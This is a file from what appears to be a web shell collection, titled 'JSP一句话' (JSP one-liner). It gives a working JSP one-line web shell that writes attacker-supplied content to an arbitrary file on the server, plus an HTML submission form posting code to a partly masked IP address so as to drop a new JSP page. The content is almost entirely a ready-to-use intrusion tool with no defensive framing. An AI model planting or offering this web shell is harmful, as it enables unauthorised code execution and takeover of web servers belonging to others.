webshell/jsp/JSP一句话
2013-09-06 08:38:12 +08:00

9 lines
No EOL
446 B
Text
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

JSP一句话
1) <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
  提交客户端:
  <form action="http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp" method="post">
  <textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
  <input type=submit value="提交">
  </form>